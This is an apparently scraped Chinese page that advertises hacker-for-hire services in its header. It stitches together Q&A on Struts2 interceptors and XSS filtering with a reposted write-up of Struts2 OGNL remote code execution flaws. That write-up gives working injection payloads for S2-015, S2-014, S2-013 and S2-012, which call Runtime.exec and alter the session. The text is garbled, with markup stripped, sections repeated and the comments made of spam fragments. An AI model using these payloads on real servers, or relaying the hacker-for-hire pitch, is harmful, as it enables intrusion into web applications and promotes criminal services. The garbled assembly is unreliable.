黑客24小时在线接单网站

怎么联系真的黑客,24小时在线黑客联系方式,24小时在线联系黑客,正规黑客私人接单,黑客QQ联系方式

strust2过滤xss(struts2过滤器的配置)

本文导读目录:

java的框架(比如struts2)对于xss攻击、sql注入等黑客方式有防御么?

框架本身并不具有这些功能。

防止xss,sql等的攻击大部分需要程序员自己注意。

sql注入本身就是sql语句写法的漏洞导致。

xss攻击的防御还是需要对非法字符串进行判断过滤。

如何配置struts2的过滤器

你说的是拦截器吧

第一步:创建一个类实现Intercepter接口并实现其中方法

第二步:注册拦截器(在struts.xml)如:

package name="cust"

namespace="/cust"

extends="struts-default"

interceptors

!-- 注册拦截器 --

interceptor name="first"

class="com.interceptor.FirstInterceptor"/

interceptor name="second"

class="com.interceptor.SecondInterceptor"/

!-- 注册拦截器栈,将所有拦截器打包在一起 --

interceptor-stack name="mystack"

interceptor-ref name="first"/

interceptor-ref name="second"/

!-- 引用自定义的拦截器时,会使struts2自带的拦截器失效

因此,要将默认的拦截器加入到自定义的拦截器栈中 --

interceptor-ref name="defaultStack"/

/interceptor-stack

/interceptors

!--第三步: 引用拦截器 ,

action name="toUpdateCustomer"

class="com.action.ToUpdateCustomerAction"

method="execute"

!-- 引用拦截器 ,

interceptor-ref name="first"/

interceptor-ref name="first"/--

!-- 引用拦截器栈,会一次将所有的拦截器引用 --

interceptor-ref name="mystack"/

result name="success"

/WEB-INF/cust/update_customer.jsp

/result

/action

/package

供参考

struts2 有没有jar包能防止xss攻击

配置struts.xml

package name="default" namespace="/"

extends="struts-default, json-default"

!-- 配置拦截器 --

interceptors

!-- 定义xss拦截器 --

interceptor name="xssInterceptor" class="...此处填写拦截器类名"/interceptor

!-- 定义一个包含xss拦截的拦截栈 --

interceptor-stack name="myDefault"

interceptor-ref name="xssInterceptor"/interceptor-ref

interceptor-ref name="defaultStack"/interceptor-ref

/interceptor-stack

/interceptors

!-- 这个必须配置,否则拦截器不生效 --

default-interceptor-ref name="myDefault"/default-interceptor-ref

action

...此处省略n个action

/action

/package

struts2配置过滤器与拦截器

你在过滤器中 重定向的啊。我们这个项目是在 拦截器 中返回字符串,然后通过 struts.xml 跳转到 你要跳转的页面。。。。

代码:

这是配置的拦截器。

!-- 只有admin 用户才能访问的action --

package name="onlyadmin" extends="struts-default"

interceptors

!--定义一个名为admin的拦截器--

interceptor class="edu.cuit.course.interceptor.AdminInterceptor"

name="admin" /

!--定义一个包含权限检查的拦截器栈--

interceptor-stack name="adminInterceptor"

!--配置内建默认拦截器--

interceptor-ref name="defaultStack" /

!--配置自定义的拦截器--

interceptor-ref name="admin"

param name="excludeMethods"list/param

/interceptor-ref

/interceptor-stack

/interceptors

default-interceptor-ref name="adminInterceptor" /

global-results

result name="login"/user/userLogin.jsp/result

/global-results

【这是全局的result,你就晓得,当自定义拦截器返回login的时候,它就会跳转到你要跳转的页面了。】

action name="admin" class="edu.cuit.course.action.AdminAction"

/action

action name="module" class="edu.cuit.course.action.ModuleAction"

result name="addModule"/module/moduleadd.jsp/result

result name="addSuccess"/module/suc.jsp/result

result name="listByPageSuccess"/page/modulelist.jsp/result

result name="update"/module/moduleupdate.jsp/result

result name="updateSuccess"/module/suc.jsp/result

/action

action name="menu" class="edu.cuit.course.action.MenuAction"

result name="add"/menu/menuadd.jsp/result

result name="addSuccess"/menu/suc.jsp/result

result name="listByPageSuccess"/page/menulist.jsp/result

result name="update"/menu/menuupdate.jsp/result

result name="updateSuccess" type="redirectAction"

param name="actionName"menu/param

param name="method"listByPage/param

/result

/action

/package

。。。。。。。。。。。。。。。。。。。。。。。。。。。

这就是自定义的拦截器:

package edu.cuit.course.interceptor;

import java.util.Map;

import com.opensymphony.xwork2.Action;

import com.opensymphony.xwork2.ActionContext;

import com.opensymphony.xwork2.ActionInvocation;

import com.opensymphony.xwork2.interceptor.MethodFilterInterceptor;

import edu.cuit.course.action.UserAction;

import edu.cuit.course.pojo.User;

public class UserInterceptor extends MethodFilterInterceptor {

private static final long serialVersionUID = -4390311642665624081L;

private UserAction userAction = new UserAction();

@Override

public String doIntercept(ActionInvocation invocation) throws Exception {

ActionContext ctx = invocation.getInvocationContext();

MapString ,Object session = ctx.getSession();

User user = (User) session.get("user");

if (user == null) {

ctx.put("loginTip", "你还没有登录");

return Action.LOGIN;

}

return invocation.invoke();

}

public void setUserAction(UserAction userAction) {

this.userAction = userAction;

}

public UserAction getUserAction() {

return userAction;

}

}

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

应该差不多了,还有个system 的拦截器,差不多的结构。。要知道 你提交请求的时候,先叫由web。xml然后通过过滤器一层一层到 拦截器,也就是在你的逻辑前加一些 验证的东西,系统的拦截器有很多, invocation.invoke()就是一层一层去 触发拦截器,当系统 的拦截器和 自定义的拦截器 都通过了的时候 才回访问你的 逻辑 action 或者方法,这个叫做aop编程 。面向切面编程。

使用struts2.1需要编写过滤器吗

项目中使用Struts2同样需要在web.xml配置过滤器,用来截取请求,转到Struts2的Action进行处理。

注意:如果在2.1.3以前的Struts2版本,过滤器使用org.apache.struts2.dispatcher.FilterDispatcher。否则使用org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter。从Struts2.1.3开始,将废弃ActionContextCleanUp过滤器,而在StrutsPrepareAndExecuteFilter过滤器中包含相应的功能。

三个初始化参数配置:

config参数:指定要加载的配置文件。逗号分割。

actionPackages参数:指定Action类所在的包空间。逗号分割。

configProviders参数:自定义配置文件提供者,需要实现ConfigurationProvider接口类。逗号分割。

struts2拦截器的作用是什么(它拦截什么)??过滤器的作用是什么呢(过滤什么)??

拦截器只能拦截Action,说明白点拦截器其实是Action的功能块,只在Action前后执行,初学者肯定会有疑问,把功能全都写在Action中就行了呀,为什么要把功能分出来,其实这个struts2的一个强大之处,你想想,假如这个功能块很多Action都要用,难道你的这些Action中都要写呀,就算复制粘贴也不方便呀,你把它做成功能块,哪个Action需要就在哪个Action中配置就好了,更好的方法是,创建一个公共的Action,把通用的东西全配置到这里面,其他Action引用(继承)就可以了

过滤器是拦截用户请求的,范围明显比拦截器大的多,你上网时肯定碰到过这中效果,你想下载个东西,点击下载先跳出登陆页面,这就是拦截器搞的鬼,没有登录前很多页面或Action都被他拦截了

关于struts 2为什么会有代码执行漏洞的小帖子

Struts结构

把里面的例子在tomcat里部署一下,就可以测试了。简单说一下struts 2的结构。

struts 2的安装是在web.xml里添加这样的一句,将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理

filter

filter-namestruts2/filter-name

filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class

/filter

filter-mapping

filter-namestruts2/filter-name

url-pattern/*/url-pattern

/filter-mapping

关于action的定义是在struts.xml中,其中default-action-ref是所有action都捕获不到时的选项。

result type="redirectAction"的作用是捕获到该action重定向到其他页面。

最后include了另外一个XML

package name="default" namespace="/" extends="struts-default"

default-action-ref name="index" /

global-results

result name="error"/error.jsp/result

/global-results

global-exception-mappings

exception-mapping exception="java.lang.Exception" result="error"/

/global-exception-mappings

action name="index"

result type="redirectAction"

param name="actionName"HelloWorld/param

param name="namespace"/example/param

/result

/action

/package

include file="example.xml"/

这个example.xml定义了action的具体实现,最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。

package name="example" namespace="/example" extends="default"

action name="HelloWorld" class="example.HelloWorld"

result/example/HelloWorld.jsp/result

/action

action name="Login_*" method="{1}" class="example.Login"

result name="input"/example/Login.jsp/result

result type="redirectAction"Menu/result

/action

action name="*" class="example.ExampleSupport"

result/example/{1}.jsp/result

/action

!-- Add actions here --

/package

OGNL语法

struts使用了OGNL,虽然不知道为什,但是OGNL还是很强大的。

关于它的特性可以看下面的几个页面

http://www.2cto.com/kf/201307/230954.html

http://www.2cto.com/kf/201307/230955.html

http://www.2cto.com/kf/201307/230957.html

http://www.2cto.com/kf/201306/223397.html

Struts近期漏洞

漏洞列表,这里命令执行漏洞的利用方法,多是找到一处可以OGNL解析的地方,POC的构造大同小异

http://struts.apache.org/development/2.x/docs/security-bulletins.html

S2-015

官方描述

A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.

触发条件

当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。

action name="*" class="example.ExampleSupport"

result/example/{1}.jsp/result

/action

POC

一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客,规定了OGNL中是否可以调用静态变量。

最后的.action是为了让拦截器捕捉,最后进入{1}的是前面的部分

${

%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),

(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()

}.action

如果页面返回像这样,说明执行成功,0是waitFor()返回的值。

HTTP ERROR 404

Problem accessing /struts2-blank/example/0.jsp. Reason:

Not Found

详细原理这里不作分析,因为别人都做好了。其中提到 JavaSnoop的代码审核工具,貌似不错。

https://communities.coverity.com/blogs/security/2013/05/29/struts2-remote-code-execution-via-ognl-injection

http://struts.apache.org/development/2.x/docs/s2-015.html

S2-014

官方描述

A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks

触发条件

URL标签的includeParams为get或all

s:url id="url" action="HelloWorld" includeParams="all"

Demo里面的情况如下,%{url}是上面定义的URL标签,当includeParams为all时,会把get或post提交的参数添加到自身的param列表中

li

s:url id="url" action="HelloWorld" includeParams="all"

s:param name="request_locale"en/s:param

/s:url

s:a href="%{url}"English/s:a

/li

POC

执行代码

http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

修改Session

http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='true'}

不过在执行的时候爆了一个错误,原因不明。

java.lang.ProcessImpl%40e3fda7

S2-013

官方描述

A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution

触发条件

这个洞和S2-014原理相同,因为官方没修不好而报了两次。

POC

这个可以成功执行

http://localhost:8088/blank2.3.1/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

翻译成人类能看懂的,这个利用还是很有意思的

http://localhost:8088/blank2.3.1/example/HelloWorld.action

?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}

S2-012

官方描述

Showcase app vulnerability allows remote command execution

触发条件需要定义一个 type为redirect的result,从这里可以看出,直接把利用代码贴到${currentSkill.name}这里就可以了

action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save"

result type="redirect"edit.action?skillName=${currentSkill.name}/result

/action

POC

PRE class=code-java style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 5px 5px 5px 15px; LINE-HEIGHT: 13px; PADDING-RIGHT: 0px" name="code"%{(#_memberAccess['allowStaticMethodAccess']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"true/SPAN)(#context['xwork.MethodAccessor.denyMethodExecution']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"false/SPAN) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}/PRE

PRE/PRE

H3A name=t8/AS2-011/H3

DIV官方描述,DOS和我关系不大/DIV

DIV sizcache="1" sizset="29"PRE class=html name="code"Long request parameter names might significantly promote the effectiveness of DOS attacks/PREBR

H3A name=t9/AS2-010/H3

/DIV

DIV官方描述/DIV

DIV这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。/DIV

DIV sizcache="1" sizset="30"PRE class=html name="code"When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes/PREBR

BR

/DIV

BR

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

S2-011

官方描述,DOS和我关系不大

Long request parameter names might significantly promote the effectiveness of DOS attacks

S2-010

官方描述

这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。

div class="dp-highlighter bg_html"

When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes

Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??

没用到富文本的话可以用spring里的HtmlUtils.htmlEscape(string str)来对parameter转码。是用filter还是其他方式都可以

  • 评论列表:
  •  黑客技术
     发布于 2022-06-10 15:35:13  回复该评论
  • !-- 注册拦截器栈,将所有拦截器打包在一起 -- interceptor-stack name="mystack" interceptor-ref name="first"/ interceptor-ref name="second"/ !-- 引用自定义
  •  黑客技术
     发布于 2022-06-10 07:23:56  回复该评论
  • cher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理filter filter-namestruts2/filter-name
  •  黑客技术
     发布于 2022-06-10 08:06:01  回复该评论
  • 次将所有的拦截器引用 -- interceptor-ref name="mystack"/ result name="success" /WEB-INF/

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.